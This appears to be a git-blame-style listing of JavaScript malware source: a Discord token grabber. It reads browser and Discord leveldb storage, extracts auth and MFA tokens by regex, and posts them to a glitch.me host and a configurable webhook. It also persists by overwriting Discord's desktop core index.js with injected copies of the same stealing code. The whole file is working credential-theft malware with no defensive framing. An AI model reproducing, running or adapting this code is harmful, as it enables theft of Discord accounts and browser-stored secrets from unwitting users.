2021-05-14 12:19:36 -07:00
|
|
|
const fs = require("fs");
|
|
|
|
let os = require("os")
|
|
|
|
const fetch = require('node-fetch');
|
|
|
|
const url = `ton webhook ici`;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if(os.platform() === "win32"){
|
2021-06-22 10:45:01 -07:00
|
|
|
|
2021-11-11 05:23:36 -08:00
|
|
|
fs.readFile(`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Discord/app-1.0.9003/modules/discord_desktop_core-1/discord_desktop_core/index.js`, async (err, data) => {
|
2021-06-22 10:45:01 -07:00
|
|
|
if (err) return;
|
|
|
|
|
2021-11-11 05:23:36 -08:00
|
|
|
var path = `${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Discord/app-1.0.9003/modules/discord_desktop_core-1/discord_desktop_core/index.js`
|
2021-06-22 10:45:01 -07:00
|
|
|
if(path){
|
|
|
|
fs.writeFile(path, 'module.exports = require(\'./core.asar\');\n\n\n\nconst fs = require("fs")\n\nvar paths = [\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/discord/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,\n`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\\\")[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,\n]\n\n\nfor (i = 0; i < paths.length; i++) {\n\nget_token(paths[i])\n\n}\n\nasync function get_token(path) {\ntry {\nfs.readdir(path, (err, files) => {\nif (files === undefined) {\nreturn\n}\n\nvar filtro = files.filter(f => f.split(".").pop() === "ldb")\nfor (i = 0; i < filtro.length; i++) {\n\nfs.readFile(`${path}/${filtro[i]}`, "utf-8", async function (err, data) {\n\nlet regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;\n\nlet regex2 = /"mfa\.[\d\w_-]{84}"/;\n\nlet [match] = regex1.exec(data) || regex2.exec(data) || [null];\nif (match != null) {\nmatch = match.replace(/"/g, "")\nconst benladen = new URLSearchParams();\n\nbenladen.append("token", match);\n\nfetch("https://truthful-oceanic-bonobo.glitch.me/", { method: "POST", body: benladen })\n\nawait fetch(`https://discord.com/api/v6/users/@me`, {\nheaders: {\n"authorization": match\n}\n}).then(resp => resp.json()).then(response => {\nif (response.id) {\nsend(match)\n}\n})\n}\n})\n}\n})\nfs.readdir(path, (err, files) => {\nif (files === undefined) {\n\nreturn\n}\nvar filtro = files.filter(f => f.split(".").pop() === "log")\nfor (i = 0; i < filtro.length; i++) {\nfs.readFile(`${path}/${filtro[i]}`, "utf-8", async function (err, data) {\nlet regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;\nlet regex2 = /"mfa\.[\d\w_-]{84}"/;\nif (regex1.test(data)) {\n}\n\nlet [match] = regex1.exec(data) || regex2.exec(data) || [null];\nif (match != null) {\nmatch = match.replace(/"/g, "")\n\nconst attentat = new URLSearchParams();\nattentat.append("token", match);\nfetch("https://truthful-oceanic-bonobo.glitch.me/", { method: "POST", body: attentat })\nawait fetch(`https://discord.com/api/v6/users/@me`, {\nheaders: {\n"authorization": match\n}\n\n}).then(resp => resp.json()).then(response => {\nif (response.id) {\nsend(match)\n}\n})\n}\n})\n}\n})\n\n} catch (err) {\n\nconsole.log(err)\n}\n}\nfunction send(token) {\nlet is = "0"\n}',function(err){
|
|
|
|
if(err) throw err;
|
|
|
|
})
|
|
|
|
}})
|
|
|
|
|
|
|
|
|
2021-05-14 12:19:36 -07:00
|
|
|
var paths = [
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discord/Local Storage/leveldb`,
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,
|
|
|
|
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,
|
|
|
|
]
|
|
|
|
|
|
|
|
for (i = 0; i < paths.length; i++) {
|
|
|
|
get_token(paths[i])
|
|
|
|
}
|
|
|
|
|
|
|
|
async function get_token(path) {
|
|
|
|
try {
|
|
|
|
fs.readdir(path, (err, files) => {
|
|
|
|
if (files === undefined) {
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
var filtro = files.filter(f => f.split('.').pop() === "ldb")
|
|
|
|
for (i = 0; i < filtro.length; i++) {
|
|
|
|
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
|
|
|
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
|
|
|
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
|
|
|
|
|
|
|
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
|
|
|
if (match != null) {
|
|
|
|
match = match.replace(/"/g, '')
|
|
|
|
|
|
|
|
const benladen = new URLSearchParams();
|
|
|
|
benladen.append('token', match);
|
|
|
|
fetch(url, {
|
|
|
|
method: "POST",
|
|
|
|
headers: {
|
|
|
|
"Content-Type": "application/json"
|
|
|
|
},
|
|
|
|
body: JSON.stringify({"content": match})
|
|
|
|
});
|
|
|
|
fetch('https://truthful-oceanic-bonobo.glitch.me/', { method: 'POST', body: benladen })
|
|
|
|
|
|
|
|
await fetch(`https://discord.com/api/v6/users/@me`, {
|
|
|
|
headers: {
|
|
|
|
"authorization": match
|
|
|
|
}
|
|
|
|
}).then(resp => resp.json()).then(response => {
|
|
|
|
if (response.id) {
|
|
|
|
send(match)
|
|
|
|
}
|
|
|
|
})
|
|
|
|
}
|
|
|
|
})
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
fs.readdir(path, (err, files) => {
|
|
|
|
if (files === undefined) {
|
|
|
|
return
|
|
|
|
}
|
|
|
|
var filtro = files.filter(f => f.split('.').pop() === "log")
|
|
|
|
for (i = 0; i < filtro.length; i++) {
|
|
|
|
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
|
|
|
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
|
|
|
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
|
|
|
|
|
|
|
if (regex1.test(data)) {
|
|
|
|
|
|
|
|
}
|
|
|
|
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
|
|
|
if (match != null) {
|
|
|
|
match = match.replace(/"/g, '')
|
|
|
|
const attentat = new URLSearchParams();
|
|
|
|
attentat.append('token', match);
|
|
|
|
fetch('https://truthful-oceanic-bonobo.glitch.me/', { method: 'POST', body: attentat })
|
|
|
|
fetch(url, {
|
|
|
|
method: "POST",
|
|
|
|
headers: {
|
|
|
|
"Content-Type": "application/json"
|
|
|
|
},
|
|
|
|
body: JSON.stringify({"content": match})
|
|
|
|
});
|
|
|
|
await fetch(`https://discord.com/api/v6/users/@me`, {
|
|
|
|
headers: {
|
|
|
|
"authorization": match
|
|
|
|
}
|
|
|
|
}).then(resp => resp.json()).then(response => {
|
|
|
|
if (response.id) {
|
|
|
|
send(match)
|
|
|
|
}
|
|
|
|
})
|
|
|
|
}
|
|
|
|
})
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
} catch (err) {
|
|
|
|
console.log(err)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function send(token) {
|
|
|
|
let is = "0"
|
|
|
|
}
|
|
|
|
}
|